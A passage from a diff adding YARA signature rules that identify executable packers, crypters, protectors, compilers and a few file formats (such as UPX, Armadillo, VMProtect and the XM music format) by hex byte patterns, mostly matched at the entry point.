+		$0 = {55 8B EC 83 C4 F0 86 FF 86 DB 86 FF 68 00 01 00 00 68 18 20 40 00 6A 00 E8 FF 01 00 00 8A E4 6A 00 68 80 00 00 00 6A 03 6A 00 6A 00 68 00 00 00 80 68 18 20 40 00 E8 D5 01 00 00 A3 00 20 40 00 40 0F 84 97 01 00 00 8A E4 6A 02 6A 00 6A FB FF 35 00 20 40 00 E8 E0 01 00 00 86 FF 86 DB 86 FF 6A 00 8D 45 FC 50 6A 04 8D 45 F8 50 FF 35 00 20 40 00 E8 BD 01 00 00 8A E4 6A 00 8D 45 FC 50 6A 01 8D 45 F3 50}
+		$1 = {E8 FE FD FF FF 6A 00 E8 0D 00 00 00 CC FF 25 78 10 40 00 FF 25 7C 10 40 00 FF 25 80 10 40 00 FF 25 84 10 40 00 FF 25 88 10 40 00 FF 25 8C 10 40 00 FF 25 90 10 40 00 FF 25 94 10 40 00 FF 25 98 10 40 00 FF 25 9C 10 40 00 FF 25 A0 10 40 00 FF 25 A4 10 40 00 FF 25 AC 10 40 00}
+	condition:
+		$0 or $1 at entrypoint
+}
+rule _NsPacK_V33__LiuXingPing_
+{
+	meta:
+		description = "NsPacK V3.3 -> LiuXingPing"
+	strings:
+		$0 = {9C 60 E8 00 00 00 00 5D 83 ED 07 8D 85 ?? ?? ?? ?? 80 38 00 74}
+	condition:
+		$0 at entrypoint
+}
+rule _Werus_Crypter_10__Kas_
+{
+	meta:
+		description = "Werus Crypter 1.0 -> Kas"
+	strings:
+		$0 = {68 98 11 40 00 6A 00 E8 50 00 00 00 C9 C3 ED B3 FE FF FF 6A 00 E8 0C 00 00 00 FF 25 80 10 40 00 FF 25 84 10 40 00 FF 25 88 10 40 00 FF 25 8C 10 40 00 FF 25 90 10 40 00 FF 25 94 10 40 00 FF 25 98 10 40 00 FF 25 9C 10 40 00 FF 25 A0 10 40 00 FF 25 A4 10 40}
+		$1 = {68 98 11 40 00 6A 00 E8 50 00 00 00 C9 C3 ED B3 FE FF FF 6A 00 E8 0C 00 00 00 FF 25 80 10 40 00 FF 25 84 10 40 00 FF 25 88 10 40 00 FF 25 8C 10 40 00 FF 25 90 10 40 00 FF 25 94 10 40 00 FF 25 98 10 40 00 FF 25 9C 10 40 00 FF 25 A0 10 40 00 FF 25 A4 10 40 00 FF 25 A8 10 40 00 FF 25 B0 10 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 BB E8 12 40 00 80 33 05 E9 7D FF FF FF}
+	condition:
+		$0 or $1
+}
+rule _Upack_V03X__Dwing_
+{
+	meta:
+		description = "Upack V0.3X -> Dwing"
+	strings:
+		$0 = {60 E8 09 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? 33 C9 5E 87 0E}
+	condition:
+		$0 at entrypoint
+}
+rule _ILUCRYPT_v4015_exe_
+{
+	meta:
+		description = "ILUCRYPT v4.015 [exe"
+	strings:
+		$0 = {8B EC FA C7 46 F7 ?? ?? 42 81 FA ?? ?? 75 F9 FF 66 F7}
+	condition:
+		$0 at entrypoint
+}
+rule _NJoy_11__NEX_
+{
+	meta:
+		description = "N-Joy 1.1 -> NEX"
+	strings:
+		$0 = {55 8B EC 83 C4 F0 B8 0C 3C 40 00 E8 24 FC FF FF 6A 00 68 28 3A 40 00 6A 0A 6A 00 E8 D8 FC FF FF E8 7F F5 FF FF 8D 40 00}
+	condition:
+		$0 at entrypoint
+}
+rule _kkrunchy_v017__F_Giesen_
+{
+	meta:
+		description = "kkrunchy v0.17 -> F. Giesen"
+	strings:
+		$0 = {FC FF 4D 08 31 D2 8D 7D 30 BE}
+	condition:
+		$0
+}
+rule _LZEXE_v091_v100a_2_
+{
+	meta:
+		description = "LZEXE v0.91, v1.00a (2)"
+	strings:
+		$0 = {BF ?? ?? 06 89 F9 0E 41 1F 8C CB 89 FE}
+	condition:
+		$0 at entrypoint
+}
+rule _AntiDote_V12__SISTeam__Sign_by_fly_
+{
+	meta:
+		description = "AntiDote V1.2 -> SIS-Team ! Sign by fly"
+	strings:
+		$0 = {00 00 00 00 09 01 47 65 74 43 6F 6D 6D 61 6E 64 4C 69 6E 65 41 00 DB 01 47 65 74 56 65 72 73 69 6F 6E 45 78 41 00 73 01 47 65 74 4D 6F 64 75 6C 65 46 69 6C 65 4E 61 6D 65 41 00 00 7A 03 57 61 69 74 46 6F 72 53 69 6E 67 6C 65 4F 62 6A 65 63 74 00 BF 02 52 65 73 75 6D 65 54 68 72 65 61 64 00 00 29 03 53 65 74 54 68 72 65 61 64 43 6F 6E 74 65 78 74 00 00 94 03 57 72 69 74 65 50 72 6F 63 65 73 73 4D 65 6D 6F 72 79 00 00 6B 03 56 69 72 74 75 61 6C 41 6C 6C 6F 63 45 78 00 00 A6 02 52 65 61 64 50 72 6F 63 65 73 73 4D 65 6D 6F 72 79 00 CA 01 47 65 74 54 68 72 65 61 64 43 6F 6E 74 65 78 74 00 00 62 00 43 72 65 61 74 65 50 72 6F 63 65 73 73 41 00 00 4B 45 52 4E 45 4C 33 32 2E 64 6C 6C 00 00 26 00 43 68 61 72 4C 6F 77 65 72 41 00 00 55 53 45 52 33 32 2E 64 6C 6C 00 00 5E 02 66 72 65 65 00 00 4C 02 66 63 6C 6F 73 65 00 00 DA 00 5F 66 69 6C 62 75 66 00 91 02 6D 61 6C 6C 6F 63 00 00 64 02 66 74 65 6C 6C 00 62 02 66 73 65 65 6B 00 57 02 66 6F 70 65 6E 00 C5 02 73 74 72 73 74 72 00 00 4D 53 56 43 52 54 2E 64 6C 6C 00 00}
+	condition:
+		$0
+}
+rule _PE_Admin_V10_EncryptPE_V12003518_Sold__Flying_Cat_
+{
+	meta:
+		description = "PE_Admin V1.0 (EncryptPE V1.2003.5.18 Sold) -> Flying Cat"
+	strings:
+		$0 = {60 9C 64 FF 35 00 00 00 00 E8 79 01 00 00 90 00 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _UnderGround_Crypter__by_Booster2000_
+{
+	meta:
+		description = "UnderGround Crypter - by Booster2000"
+	strings:
+		$0 = {55 8B EC 83 C4 F0 B8 74 3C 00 11 E8 94 F9 FF FF E8 BF FE FF FF E8 0A F3 FF FF 8B C0}
+	condition:
+		$0 at entrypoint
+}
+rule _PE_Packer_
+{
+	meta:
+		description = "PE Packer"
+	strings:
+		$0 = {FC 8B 35 70 01 40 ?? 83 EE 40 6A 40 68 ?? 30 10}
+	condition:
+		$0 at entrypoint
+}
+rule _VcasmProtector_10_
+{
+	meta:
+		description = "Vcasm-Protector 1.0"
+	strings:
+		$0 = {55 8B EC 6A FF 68 ?? ?? ?? 00 68 ?? ?? ?? 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 E8 03 00 00 00 C7 84 00 58 EB 01 E9 83 C0 07 50 C3 FF 35 E8 03 00 00 00 C7 84 00 58 EB 01 E9 83 C0 07 50 C3 FF 35 E8 07 00 00 00 C7 83 83 C0 13 EB 0B 58 EB 02 CD 20 83}
+		$1 = {55 8B EC 6A FF 68 ?? ?? ?? 00 68 ?? ?? ?? 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 E8 03 00 00 00 C7 84 00 58 EB 01 E9 83 C0 07 50 C3 FF 35 E8 03 00 00 00 C7 84 00 58 EB 01 E9 83 C0 07 50 C3 FF 35 E8 07 00 00 00 C7 83 83 C0 13 EB 0B 58 EB 02 CD 20 83 C0 02 EB 01 E9 50 C3 E8 B9 04 00 00 00 E8 1F 00 00 00 EB FA E8 16 00 00 00 E9 EB F8 00 00 58 EB 09 0F 25 E8 F2 FF FF FF 0F B9 49 75 F1 EB 05 EB F9 EB F0 D6 EB 01 0F 31 F0 EB 0C 33 C8 EB 03 EB 09 0F 59 74 05 75 F8 51 EB F1 E8 16 00 00 00 8B 5C 24 0C 8B A3 C4 00 00 00 64 8F 05 00 00 00 00 83 C4 04 EB 14 64 FF 35 00 00 00 00 64 89 25 00 00 00 00 33 C9 99 F7 F1 E9 E8 05 00 00 00 0F 01 EB 05 E8 EB FB 00 00 83 C4 04 B9 04 00 00 00 E8 1F 00 00 00 EB FA E8 16 00 00 00 E9 EB F8 00 00 58 EB 09 0F 25 E8 F2 FF FF FF 0F B9}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Turbo_Pascal_Help_File_
+{
+	meta:
+		description = "Turbo Pascal Help File"
+	strings:
+		$0 = {54 55 52 ?? ?? ?? 50 41 53 ?? ?? ?? ?? 48 45 4C 50}
+	condition:
+		$0
+}
+rule _Escargot_V01__ppMeat_
+{
+	meta:
+		description = "Escargot V0.1 -> ++Meat"
+	strings:
+		$0 = {EB 04 40 30 2E 31 60 68 61}
+	condition:
+		$0 at entrypoint
+}
+rule _DotFix_Nice_Protect_21__GPcH_Soft_
+{
+	meta:
+		description = "DotFix Nice Protect 2.1 -> GPcH Soft"
+	strings:
+		$0 = {E9 FF 00 00 00 60 8B 74 24 24 8B 7C 24 28 FC B2 80 33 DB A4 B3 02 E8 6D 00 00 00 73 F6 33 C9 E8 64 00 00 00 73 1C 33 C0 E8 5B 00 00 00 73 23 B3 02 41 B0 10 E8 4F 00 00 00 12 C0 73 F7 75 3F AA EB D4 E8 4D 00 00 00 2B CB 75 10 E8 42 00 00 00 EB 28 AC D1 E8}
+	condition:
+		$0 at entrypoint
+}
+rule _Microsoft_Visual_Cpp_vxx_DLL_
+{
+	meta:
+		description = "Microsoft Visual C++ vx.x DLL"
+	strings:
+		$0 = {00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 ?? ?? ?? ?? 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 ?? ?? ?? 00 00 ?? ?? ?? 00 00 ?? ?? ?? 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 68}
+	condition:
+		$0 at entrypoint
+}
+rule _Upack_0399__Dwing_
+{
+	meta:
+		description = "Upack 0.399 -> Dwing"
+	strings:
+		$0 = {BE B0 11 ?? ?? AD 50 FF 76 34 EB 7C 48 01 ?? ?? 0B 01 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 00 18 10 00 00 10 00 00 00 00 ?? ?? ?? 00 00 ?? ?? 00 10 00 00 00 02 00 00 04 00 00 00 00 00 3A 00 04 00 00 00 00 00 00 00 00 ?? ?? ?? 00 02 00 00 00 00 00 00}
+	condition:
+		$0
+}
+rule _TTPpack_
+{
+	meta:
+		description = "TTPpack"
+	strings:
+		$0 = {E8 00 00 00 00 5D 81 ED F5 8F 40 00 60 33 F6 E8 11 00 00 00 8B 64 24 08 64 8F 05}
+	condition:
+		$0 at entrypoint
+}
+rule _HideProtect_1016__SoftWar_Company_
+{
+	meta:
+		description = "Hide&Protect 1.016 -> SoftWar Company"
+	strings:
+		$0 = {90 90 90 E9 D8 ?? 05 00 95 ?? 53 00 95 4A 50 00}
+	condition:
+		$0 at entrypoint
+}
+rule _Obsidium_1200__Obsidium_Software_
+{
+	meta:
+		description = "Obsidium 1.2.0.0 -> Obsidium Software"
+	strings:
+		$0 = {EB 02 ?? ?? E8 3F 1E 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _MSLRH_v031a_
+{
+	meta:
+		description = "MSLRH v0.31a"
+	strings:
+		$0 = {60 D1 CB 0F CA C1 CA E0 D1 CA 0F C8 EB 01 F1 0F C0 C9 D2 D1 0F C1 C0 D3 DA C0 D6 A8 EB 01 DE D0 EC 0F C1 CB D0 CF 0F C1 D1 D2 DB 0F C8 EB 01 BC C0 E9 C6 C1 D0 91 0F CB EB 01 73 0F CA 87 D9 87 D2 D0 CF 87 D9 0F C8 EB 01 C1 EB 01 A2 86 CA D0 E1 0F C0 CB 0F}
+		$1 = {60 D1 CB 0F CA C1 CA E0 D1 CA 0F C8 EB 01 F1 0F C0 C9 D2 D1 0F C1 C0 D3 DA C0 D6 A8 EB 01 DE D0 EC 0F C1 CB D0 CF 0F C1 D1 D2 DB 0F C8 EB 01 BC C0 E9 C6 C1 D0 91 0F CB EB 01 73 0F CA 87 D9 87 D2 D0 CF 87 D9 0F C8 EB 01 C1 EB 01 A2 86 CA D0 E1 0F C0 CB 0F CA C0 C7 91 0F CB C1 D9 0C 86 F9 86 D7 D1 D9 EB 01 A5 EB 01 11 EB 01 1D 0F C1 C2 0F CB 0F C1 C2 EB 01 A1 C0 E9 FD 0F C1 D1 EB 01 E3 0F CA 87 D9 EB 01 F3 0F CB 87 C2 0F C0 F9 D0 F7 EB 01 2F 0F C9 C0 DC C4 EB 01 35 0F CA D3 D1 86 C8 EB 01 01 0F C0 F5 87 C8 D0 DE EB 01 95 EB 01 E1 EB 01 FD EB 01 EC 87 D3 0F CB C1 DB 35 D3 E2 0F C8 86 E2 86 EC C1 FB 12 D2 EE 0F C9 D2 F6 0F CA 87 C3 C1 D3 B3 EB 01 BF D1 CB 87 C9 0F CA 0F C1 DB EB 01 44 C0 CA F2 0F C1 D1 0F CB EB 01 D3 EB 05 E8 EB 04 40 00 EB FA E8 0A 00 00 00}
+	condition:
+		$0 or $1
+}
+rule _Phonebook_configuration_file_Version_v3v4_
+{
+	meta:
+		description = "Phonebook configuration file Version %v3.%v4"
+	strings:
+		$0 = {50 68 6F 6E 65 62 6F 6F 6B ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 63 6F}
+	condition:
+		$0
+}
+rule _WinKript_v10__Mr_Crimson_h_
+{
+	meta:
+		description = "WinKript v1.0 -> Mr. Crimson (h)"
+	strings:
+		$0 = {33 C0 8B B8 00 ?? ?? ?? 8B 90 04 ?? ?? ?? 85 FF 74 1B 33 C9 50 EB 0C 8A 04 39 C0 C8 04 34 1B 88 04 39 41 3B CA 72 F0 58 83 C0 08 EB D5 61 E9 ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _PseudoSigner_02_PE_Protect_09_
+{
+	meta:
+		description = "PseudoSigner 0.2 [PE Protect 0.9]"
+	strings:
+		$0 = {52 51 55 57 64 67 A1 30 00 85 C0 78 0D E8 07 00 00 00 58 83 C0 07 C6 90 C3}
+	condition:
+		$0 at entrypoint
+}
+rule _PackItBitch_10__archphase_
+{
+	meta:
+		description = "PackItBitch 1.0 -> archphase"
+	strings:
+		$0 = {00 00 00 00 00 00 00 00 00 00 00 00 28 ?? ?? ?? 35 ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 4B 45 52 4E 45 4C 33 32 2E 44 4C 4C 00 41 ?? ?? ?? 50 ?? ?? ?? 00 00 00 00 00 00 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 00 00 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 00 ?? ?? ?? ?? ?? ?? ?? 79 ?? ?? ?? 7D ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00}
+	condition:
+		$0
+}
+rule _MarjinZ_EXEScrambler_SE__by_MarjinZ_
+{
+	meta:
+		description = "MarjinZ EXE-Scrambler SE - by MarjinZ"
+	strings:
+		$0 = {E8 A3 02 00 00 E9 35 FD FF FF FF 25 C8 20 00 10 6A 14 68 C0 21 00 10 E8 E4 01 00 00 FF 35 7C 33 00 10 8B 35 8C 20 00 10 FF D6 59 89 45 E4 83 F8 FF 75 0C FF 75 08 FF 15 88 20 00 10 59 EB 61 6A 08 E8 02 03 00 00 59 83 65 FC 00 FF 35 7C 33 00 10 FF D6 89 45 E4 FF 35 78 33 00 10 FF D6 89 45 E0 8D 45 E0 50 8D 45 E4 50 FF 75 08 E8 D1 02 00 00 89 45 DC FF 75 E4 8B 35 74 20 00 10 FF D6 A3 7C 33 00 10 FF 75 E0 FF D6 83 C4 1C A3 78 33 00 10 C7 45 FC FE FF FF FF E8 09 00 00 00 8B 45 DC E8 A0 01 00 00 C3}
+	condition:
+		$0
+}
+rule _Free_Pascal_09910_
+{
+	meta:
+		description = "Free Pascal 0.99.10"
+	strings:
+		$0 = {E8 00 6E 00 00 55 89 E5 8B 7D 0C 8B 75 08 89 F8 8B 5D 10 29}
+	condition:
+		$0
+}
+rule _ACProtect_V13X__risco_
+{
+	meta:
+		description = "ACProtect V1.3X -> risco"
+	strings:
+		$0 = {60 50 E8 01 00 00 00 75 83}
+	condition:
+		$0 at entrypoint
+}
+rule _Armadillo_420__Silicon_Realms_Toolworks_
+{
+	meta:
+		description = "Armadillo 4.20 -> Silicon Realms Toolworks"
+	strings:
+		$0 = {55 8B EC 6A FF 68 F8 8E 4C 00 68 F0 EA 49 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58 53 56 57 89 65 E8 FF 15 88 31 4C 00 33 D2 8A D4 89 15 84 A5 4C 00 8B C8 81 E1 FF 00 00 00 89 0D 80 A5 4C 00 C1 E1 08 03 CA 89 0D 7C A5 4C 00 C1 E8 10 A3 78 A5}
+	condition:
+		$0
+}
+rule _EncryptPE_V22004616V22006630__WFS__Sign_by_fly_
+{
+	meta:
+		description = "EncryptPE V2.2004.6.16-V2.2006.6.30 -> WFS ! Sign by fly"
+	strings:
+		$0 = {60 9C 64 FF 35 00 00 00 00 E8 7A 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _PseudoSigner_01_NorthStar_PE_Shrinker_13__Anorganix_
+{
+	meta:
+		description = "PseudoSigner 0.1 [NorthStar PE Shrinker 1.3] -> Anorganix"
+	strings:
+		$0 = {9C 60 E8 00 00 00 00 5D B8 B3 85 40 00 2D AC 85 40 00 2B E8 8D B5 00 00 00 00 E9}
+	condition:
+		$0 at entrypoint
+}
+rule _VMProtect_0x__PolyTech_
+{
+	meta:
+		description = "VMProtect 0.x -> PolyTech"
+	strings:
+		$0 = {5B 20 56 4D 50 72 6F 74 65 63 74 20}
+	condition:
+		$0 at entrypoint
+}
+rule _Pe123_v2006412_
+{
+	meta:
+		description = "Pe123 v2006.4.12"
+	strings:
+		$0 = {8B C0 60 9C E8 01 00 00 00 C3 53 E8 72 00 00 00 50 E8 1C 03 00 00 8B D8 FF D3 5B C3 8B C0 E8 00 00 00 00 58 83 C0 05 C3 8B C0 55 8B EC 60 8B 4D 10 8B 7D 0C 8B 75 08 F3 A4 61 5D C2 0C 00 E8 00 00 00 00 58 83 E8 05 C3 8B C0 E8 00 00 00 00 58 83 C0 05 C3 8B C0 E8 00 00 00 00 58 C1 E8 0C C1 E0 0C 66 81 38 4D 5A 74 0C 2D 00 10 00 00 66 81 38 4D 5A 75 F4 C3 E8 00 00 00 00 58 83 E8 05 C3 8B C0 55 8B EC 81 C4 4C FE FF FF 53 6A 40 8D 85 44 FF FF FF 50 E8 BC FF FF FF 50 E8 8A FF FF FF 68 F8 00 00 00 8D 85 4C FE FF FF 50 E8 A5 FF FF FF 03 45 80 50 E8 70 FF FF FF E8 97 FF FF FF 03 85 CC FE FF FF 83 C0 34 89 45 FC E8 86 FF FF FF 03 85 CC FE FF FF 83 C0 38 89 45 8C 60 8B 45 FC 8B 00 89 45 F8 89 45 9C 8B 45 8C 8B 00 89 45 88 89 45 98 E8 0D 00 00 00 6B 65 72 6E 65 6C 33}
+	condition:
+		$0 at entrypoint
+}
+rule _SimplePack_V11X_Method2__bagie_
+{
+	meta:
+		description = "SimplePack V1.1X (Method2) -> bagie"
+	strings:
+		$0 = {4D 5A 90 EB 01 00 52 E9 89 01 00 00 50 45 00 00 4C 01 02 00 00 00 00 00 00 00 00 00 00 00 00 00 E0 00 0F 03 0B 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0C 00 00 00 00 ?? ?? ?? 00 10 00 00 00 02 00 00 01 00 00 00 00 00 00 00 04}
+		$1 = {4D 5A 90 EB 01 00 52 E9 89 01 00 00 50 45 00 00 4C 01 02 00 00 00 00 00 00 00 00 00 00 00 00 00 E0 00 0F 03 0B 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0C 00 00 00 00 ?? ?? ?? 00 10 00 00 00 02 00 00 01 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00}
+	condition:
+		$0 or $1
+}
+rule _kkrunchy_023_alpha_2__Ryd_
+{
+	meta:
+		description = "kkrunchy 0.23 alpha 2 -> Ryd"
+	strings:
+		$0 = {BD ?? ?? ?? ?? C7 45 00 ?? ?? ?? 00 B8 ?? ?? ?? 00 89 45 04 89 45 54 50 C7 45 10 ?? ?? ?? 00 FF 4D 0C FF 45 14 FF 45 58 C6 45 1C 08 B8 00 08 00 00 8D 7D 30 AB AB AB AB BB 00 00 D8 00 BF}
+		$1 = {BD ?? ?? ?? ?? C7 45 00 ?? ?? ?? 00 B8 ?? ?? ?? 00 89 45 04 89 45 54 50 C7 45 10 ?? ?? ?? 00 FF 4D 0C FF 45 14 FF 45 58 C6 45 1C 08 B8 00 08 00 00 8D 7D 30 AB AB AB AB BB 00 00 D8 00 BF ?? ?? ?? 01 31 C9 41 8D 74 09 01 B8 CA 8E 2A 2E 99 F7 F6 01 C3 89 D8 C1 E8 15 AB FE C1 75 E8 BE}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Upx_v12__Marcus__Lazlo_
+{
+	meta:
+		description = "Upx v1.2 -> Marcus & Lazlo"
+	strings:
+		$0 = {60 BE ?? ?? ?? ?? 8D BE ?? ?? ?? ?? 57 83 CD FF EB 05 A4 01 DB 75 07 8B 1E 83 EE FC 11 DB 72 F2 31 C0 40 01 DB 75 07 8B 1E 83 EE FC 11 DB 11 C0 01 DB 75 07 8B 1E 83 EE FC 11 DB 73 E6 31 C9 83}
+	condition:
+		$0 at entrypoint
+}
+rule _tElock_v071b2_
+{
+	meta:
+		description = "tElock v0.71b2"
+	strings:
+		$0 = {60 E8 44 11 00 00 C3 83}
+	condition:
+		$0 at entrypoint
+}
+rule _AntiDote_10_Beta__SISTeam_
+{
+	meta:
+		description = "AntiDote 1.0 Beta -> SIS-Team"
+	strings:
+		$0 = {E8 BB FF FF FF 84 C0 74 2F 68 04 01 00 00 68 C0 23 60 00 6A 00 FF 15 08 10 60 00 E8 40 FF FF FF 50 68 78 11 60 00 68 68 11 60 00 68 C0 23 60 00 E8 AB FD FF FF 83 C4 10 33 C0 C2 10 00 90 90 90 8B 4C 24 08 56 8B 74 24 08 33 D2 8B C6 F7 F1 8B C6 85 D2 74 08 33 D2 F7 F1 40 0F AF C1 5E C3 90 8B 44 24 04 53 55 56 8B 48 3C 57 03 C8 33 D2 8B 79 54 8B 71 38 8B C7 F7 F6 85 D2 74 0C 8B C7 33 D2 F7 F6 8B F8 47 0F AF FE 33 C0 33 DB 66 8B 41 14 8D 54 08 18 33 C0 66 8B 41 06 89 54 24 14 8D 68 FF 85 ED 7C 37 33 C0}
+	condition:
+		$0 at entrypoint
+}
+rule _UPX_com_
+{
+	meta:
+		description = "UPX [com"
+	strings:
+		$0 = {B9 ?? ?? BE ?? ?? BF C0 FF FD}
+	condition:
+		$0 at entrypoint
+}
+rule _vprotector_12__vcasm_
+{
+	meta:
+		description = "vprotector 1.2 -> vcasm"
+	strings:
+		$0 = {EB 0B 5B 56 50 72 6F 74 65 63 74 5D 00 E8 24 00 00 00 8B 44 24 04 8B 00 3D 04 00 00 80 75 08 8B 64 24 08 EB 04 58 EB 0C E9 64 8F 05 00 00 00 00 74 F3 75 F1 EB 24 64 FF 35 00 00 00 00 EB 12 FF 9C 74 03 75 01 E9 81 0C 24 00 01 00 00 9D 90 EB F4 64 89 25 00}
+	condition:
+		$0
+}
+rule _PEBundle_v310_
+{
+	meta:
+		description = "PEBundle v3.10"
+	strings:
+		$0 = {9C 60 E8 02 00 00 00 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 07 20 40 00 87 DD ?? ?? ?? ?? 40 00 01}
+	condition:
+		$0
+}
+rule _Armadillo_v25x__v26x_
+{
+	meta:
+		description = "Armadillo v2.5x - v2.6x"
+	strings:
+		$0 = {55 8B EC 6A FF 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58 53 56 57 89 65 E8 FF 15 58 ?? ?? ?? 33 D2 8A D4 89 15 EC}
+	condition:
+		$0 at entrypoint
+}
+rule _RLPack_Full_Edition_117_iBox_aPLib_
+{
+	meta:
+		description = "RLPack Full Edition 1.17 iBox [aPLib]"
+	strings:
+		$0 = {60 E8 00 00 00 00 8B 2C 24 83 C4 04 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 8D B5 79 29 00 00 8D 9D 2C 03 00 00 33 FF ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? EB 0F FF 74 37 04 FF 34}
+	condition:
+		$0 at entrypoint
+}
+rule _ASPack_v108_
+{
+	meta:
+		description = "ASPack v1.08"
+	strings:
+		$0 = {90 75 01 FF E9}
+		$1 = {90 90 90 75 01 FF E9}
+		$2 = {90 90 75 01 FF E9}
+	condition:
+		$0 at entrypoint or $1 at entrypoint or $2 at entrypoint
+}
+rule _Cryptic_20__Tughack_
+{
+	meta:
+		description = "Cryptic 2.0 -> Tughack"
+	strings:
+		$0 = {B8 00 00 40 00 BB ?? ?? ?? 00 B9 00 10 00 00 BA ?? ?? ?? 00 03 D8 03 C8 03 D1 3B CA 74 06 80 31 ?? 41 EB F6 FF E3}
+	condition:
+		$0 at entrypoint
+}
+rule _Matrix_Dongle__TDi_GmbH_
+{
+	meta:
+		description = "Matrix Dongle -> TDi GmbH"
+	strings:
+		$0 = {00 00 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 00 00 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 4B 45 52 4E 45 4C 33 32 2E 44 4C 4C 00 E8 B6 00 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? E8 00 00 00 00 5B 2B D9 8B F8 8B 4C 24 2C 33 C0 2B CF F2 AA 8B 3C 24 8B 0A 2B CF 89 5C 24 20 80 37 A2 47 49 75 F9 8D 64 24 04 FF 64 24 FC 60 C7 42 08 ?? ?? ?? ?? E8 C5 FF FF FF C3 C2 F7 29 4E 29 5A 29 E6 86 8A 89 63 5C A2 65 E2 A3 A2}
+		$1 = {E8 00 00 00 00 E8 00 00 00 00 59 5A 2B CA 2B D1 E8 1A FF FF FF}
+	condition:
+		$0 or $1 at entrypoint
+}
+rule _PseudoSigner_01_Borland_Delphi_30_
+{
+	meta:
+		description = "PseudoSigner 0.1 [Borland Delphi 3.0]"
+	strings:
+		$0 = {55 8B EC 83 C4 90 90 90 90 68 ?? ?? ?? ?? 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90}
+	condition:
+		$0 at entrypoint
+}
+rule _PE_Protect_v09_
+{
+	meta:
+		description = "PE Protect v0.9"
+	strings:
+		$0 = {52 51 55 57 64 67 A1 30 00 85 C0 78 0D E8 ?? ?? ?? ?? 58 83 C0 07 C6 ?? C3}
+	condition:
+		$0 at entrypoint
+}
+rule _XM_music_file_
+{
+	meta:
+		description = "XM music file"
+	strings:
+		$0 = {45 78 74 65 6E 64 65 64 20 4D 6F 64 75 6C 65 3A}
+	condition:
+		$0
+}
+rule _FSG_v120_Eng__dulekxt__Microsoft_Visual_Cpp_60__70_
+{
+	meta:
+		description = "FSG v1.20 (Eng) -> dulek/xt -> (Microsoft Visual C++ 6.0 / 7.0)"
+	strings:
+		$0 = {EB 02 CD 20 EB 01 91 8D 35 80 ?? ?? 00 33 C2 68 83 93 7E 7D 0C A4 5B 23 C3 68 77 93 7E 7D EB 01 FA 5F E8 02 00 00 00 F7 FB 58 33 DF EB 01 3F E8 02 00 00 00 11 88 58 0F B6 16 EB 02 CD 20 EB 02 86 2F 2A D3 EB 02 CD 20 80 EA 2F EB 01 52 32 D3 80 E9 CD 80 EA 73 8B CF 81 C2 96 44 EB 04 EB 02 CD 20 88 16 E8 02 00 00 00 44 A2 59 46 E8 01 00 00 00 AD 59 4B 80 C1 13 83 FB 00 75 B2 F7 D9 96 8F 80 4D 0C 4C 91 50 1C 0C 50 8A ?? ?? ?? 50 E9 34 16 50 4C 4C 0E 7E 9B 49 C6 32 02 3E 7E 7B 5E 8C C5 6B 50 3F 0E 0F 38 C8 95 18 D1 65 11 2C B8 87 28 C3 4C 0B 3C AC D9 2D 15 4E 8F 1C 40 4F 28 98 3E 10 C1 45 DB 8F 06 3F EC 48 61 4C 50 50 81 DF C3 20 34 84 10 10 0C 1F 68 DC FF 24 8C 4D 29 F5 1D 2C BF 74 CF F0 24 C0 08 2E 0C 0C 10 51 0C 91 10 10 81 16 D0 54 4B D7 42 C3 54 CB C9 4E}
+	condition:
+		$0 at entrypoint
+}
